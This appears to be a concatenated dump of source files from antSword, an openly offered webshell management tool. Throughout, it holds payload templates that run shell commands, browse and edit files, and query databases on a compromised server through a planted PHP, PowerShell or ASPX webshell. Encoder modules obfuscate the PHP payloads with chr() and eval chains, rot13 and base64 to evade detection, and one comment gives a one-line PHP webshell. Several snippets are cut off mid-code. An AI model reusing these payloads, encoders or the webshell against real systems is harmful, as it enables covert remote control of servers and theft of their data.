_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${a... | /content/code_sandbox/source/core/php/template/database/informix.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,063 |
```javascript
/**
* ::sqlsrv
* php >= 5.3 mssql, sqlsrv sqlserver
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2... | /content/code_sandbox/source/core/php/template/database/sqlsrv.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,520 |
```javascript
/**
* ::postgresql_pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pw... | /content/code_sandbox/source/core/php/template/database/postgresql_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,856 |
```javascript
/**
* ::mssql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes... | /content/code_sandbox/source/core/php/template/database/mssql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,508 |
```javascript
/**
* ::oracle oci8
* i => \\t|\\t
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$sid=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${... | /content/code_sandbox/source/core/php/template/database/oracle_oci8.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 2,232 |
```javascript
/**
* ::postgresql
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m... | /content/code_sandbox/source/core/php/template/database/postgresql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,913 |
```javascript
/**
* php::chr
* ? phpchr
*/
'use strict'
module.exports = (pwd, data, ext = null) => {
//
const encode = (php) => {
let ret = [];
let i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}
//
d... | /content/code_sandbox/source/core/php/encoder/chr.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 127 |
```javascript
/**
* :: sqlite3 pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
... | /content/code_sandbox/source/core/php/template/database/sqlite_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,177 |
```javascript
/**
* php::chr16
* ? phpchr
*/
'use strict'
module.exports = (pwd, data, ext = null) => {
//
const encode = (php) => {
let ret = [];
let i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt().toString(16));
i++;
}
return `@eVAl(cHr(0x${ret.join(').ChR(0x')})... | /content/code_sandbox/source/core/php/encoder/chr16.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 137 |
```javascript
/**
* php::str_rot13
* ? php rot13
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the curren... | /content/code_sandbox/source/core/php/encoder/rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 279 |
```javascript
/**
* php::base64
* ? phpbase64_decode
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
//
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].Rand... | /content/code_sandbox/source/core/php/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 163 |
```javascript
/**
* PSWindows
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PSWINDOWS extends Base {
static get supportRawBody() {
return true;
}
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/... | /content/code_sandbox/source/core/pswindows/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 918 |
```javascript
/**
* cmdlinux::hex
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(){ param ([System.String] $s) return [System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($s)).Replace('-','');};`.replace(/\n\s+/g, '')
... | /content/code_sandbox/source/core/pswindows/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 145 |
```javascript
/**
* cmdlinux::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));}};`
return `fu... | /content/code_sandbox/source/core/pswindows/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 186 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$c=New-Object System.Diagnostics.ProcessStartInfo -ArgumentList '#{bin}';
$e=New-Object System.Diagnostics.Process;
$c.UseShellExecute=$false;
$c.RedirectStandardInput=$true;
$c.RedirectStandardOutput=$true;
$c.Re... | /content/code_sandbox/source/core/pswindows/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 486 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
// [System.IO.DriveInfo]::GetDrives()|Where-Object{$_.DriveType -eq 3}|ForEach-Object{$ADRIVERS+=$_.Name.substring(0,2)};
// Write-Output $ACWD$TAB$ADRIVERS$TAB$AUNAME$TAB$AUSER;
_: `$ret='';
$Tab=[char]9;
$ACWD=$pwd.Path;
$AUS... | /content/code_sandbox/source/core/pswindows/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 402 |
```javascript
/**
* cmdlinux::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
//
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ Write-Host -NoNewline $s;}};`.replace(/\n\s+/g, '');
return `function asenc(){ param ... | /content/code_sandbox/source/core/pswindows/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 158 |
```javascript
/**
* odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$sql='SHOW DATABASES';
$needcolumnname=$FALSE;
$columnsep=[char... | /content/code_sandbox/source/core/pswindows/template/database/odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,234 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `Get-ChildItem -ErrorAction Stop -Force -Path '#{path}'|ForEach-Object{
$Tab=[char]9;
$ISDir='';
if($_.Mode.StartsWith('d')){
$ISDir='/';
};
$_.Name+$ISDIR+$Tab+$_.LastWriteTime+$Tab+$_.Length+$Tab... | /content/code_sandbox/source/core/pswindows/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,221 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object ... | /content/code_sandbox/source/core/pswindows/template/database/mysql_odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,217 |
```javascript
/**
* ::sqlserver odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=Ne... | /content/code_sandbox/source/core/pswindows/template/database/sqlserver_sqlclient.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,258 |
```javascript
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/pswindows/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 63 |
```javascript
/**
* ASPX
* 2016/04/12
* -
* <path_to_url
*
* : 2016/04/23
* - aspx
* Medici.Yan <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class ASPX extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
... | /content/code_sandbox/source/core/aspx/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 852 |
```javascript
/**
* aspx::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/aspx/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 53 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));
var e=new System.Diagnostics.Process();... | /content/code_sandbox/source/core/aspx/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 494 |
```javascript
/**
* ::sqlserver odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=Ne... | /content/code_sandbox/source/core/pswindows/template/database/sqlserver_odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,274 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
},
probe... | /content/code_sandbox/source/core/aspx/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 175 |
```javascript
/**
* ASPX::oracle
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64Stri... | /content/code_sandbox/source/core/aspx/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 957 |
```javascript
//
// ASPX::mysql
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 18 |
```javascript
//
// ASPX::microsoft_jet_oledb_4_0
//
module.exports = require('./access');
``` | /content/code_sandbox/source/core/aspx/template/database/microsoft_jet_oledb_4_0.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;funct... | /content/code_sandbox/source/core/aspx/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,754 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO D... | /content/code_sandbox/source/core/aspx/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 853 |
```javascript
//
// ASPX::DNS
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/dsn.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 16 |
```javascript
/**
* access
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(R... | /content/code_sandbox/source/core/aspx/template/database/access.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 868 |
```javascript
//
// ASPX::sqloledb_1_sspi
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/sqloledb_1_sspi.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.